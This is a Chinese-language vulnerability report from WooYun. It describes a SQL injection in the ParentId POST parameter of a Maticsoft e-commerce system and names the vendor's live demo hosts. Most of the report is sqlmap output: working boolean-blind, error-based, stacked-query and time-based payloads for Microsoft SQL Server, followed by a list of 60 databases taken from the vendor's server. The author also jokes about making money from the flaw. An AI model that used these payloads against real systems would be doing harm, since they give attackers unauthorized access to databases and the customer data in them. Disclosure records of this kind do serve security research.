漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2014-083545
漏洞标题：MaticsoftFK系统通用注入一枚
相关厂商：动软卓越
漏洞作者： 爱上平顶山
提交时间：2014-11-20 11:32
修复时间：2015-02-18 11:34
公开时间：2015-02-18 11:34
漏洞类型：SQL注射漏洞
危害等级：高
自评Rank：20
漏洞状态：未联系到厂商或者厂商积极忽略
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2014-11-20： 积极联系厂商并且等待厂商认领中，细节不对外公开
2015-02-18： 厂商已经主动忽略漏洞，细节向公众公开
简要描述：
...
详细说明：
动软商城 www.maticsoft.com
http://shop.maticsoft.com/ 商城系统 通用注入
http://shop1.maticsoft.cn/regionhandle.aspx 页面中 ParentId 过滤不严，造成post注入
看过程~
Place: POST
Parameter: ParentId
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: Action=GetChildNode&ParentId=214 AND 2697=2697
Vector: AND [INFERENCE]
Type: error-based
Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
Payload: Action=GetChildNode&ParentId=214 AND 7244=CONVERT(INT,(CHAR(58)+CHAR(104)+CHAR(102)+CHAR(101)+CHAR(58)+(SELECT (CASE WHEN (7244=7244) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(58)+CHAR(120)+CHAR(114)+CHAR(121)+CHAR(58)))
Vector: AND [RANDNUM]=CONVERT(INT,('[DELIMITER_START]'+([QUERY])+'[DELIMITER_STOP]'))
Type: stacked queries
Title: Microsoft SQL Server/Sybase stacked queries
Payload: Action=GetChildNode&ParentId=214; WAITFOR DELAY '0:0:5';--
Vector: ; IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]';--
Type: AND/OR time-based blind
Title: Microsoft SQL Server/Sybase time-based blind
Payload: Action=GetChildNode&ParentId=214 WAITFOR DELAY '0:0:5'--
Vector: IF([INFERENCE]) WAITFOR DELAY '0:0:[SLEEPTIME]'--
---
available databases [60]:
[*] aishangmei
[*] beitou
[*] butel
[*] ceshi
[*] demo1
[*] f1
[*] haozhijie
[*] hongxiangtiyu
[*] hongye
[*] huxingy
[*] lvyou
[*] master
[*] Maticsoft_SAAS
[*] Maticsoft_SNS1
[*] MaticsoftFK_API
[*] MaticsoftFK_edu
[*] MaticsoftFK_FW
[*] MaticsoftFK_Shop1
[*] MaticsoftFK_Shop2
[*] MaticsoftFK_Shop3
[*] MaticsoftFK_Shop4
[*] MaticsoftFK_shopremaigou
[*] MaticsoftFK_SNS1
[*] MaticsoftFK_SNS2
[*] MaticsoftFK_SNS3
[*] MaticsoftFK_SNS5
[*] MaticsoftFK_Test
[*] MaticsoftFK_V1
[*] MaticsoftFK_V2
[*] MaticsoftFK_V3
[*] MaticsoftFK_V4
[*] MaticsoftFK_V5
[*] meditfood
[*] michengbao
[*] model
[*] msdb
[*] panshi
[*] saas_1_2
[*] shipin
[*] shoucang
[*] shuti
[*] tempdb
[*] v198
[*] vdc
[*] vdingfang
[*] vshop
[*] vvv
[*] wego
[*] wuhm
[*] xindongda
[*] yiwei
[*] youjia
[*] yudexuan
[*] yunan
[*] yunbeijia
[*] yunshou
[*] zhaopin
[*] zhibo
[*] zhihui
[*] zhongshi
影响：
ok 大半夜 刷点小钱~
漏洞证明：
...
修复方案：
...
版权声明：转载请注明来源 爱上平顶山@乌云
漏洞回应
厂商回应：
未能联系到厂商或者厂商积极拒绝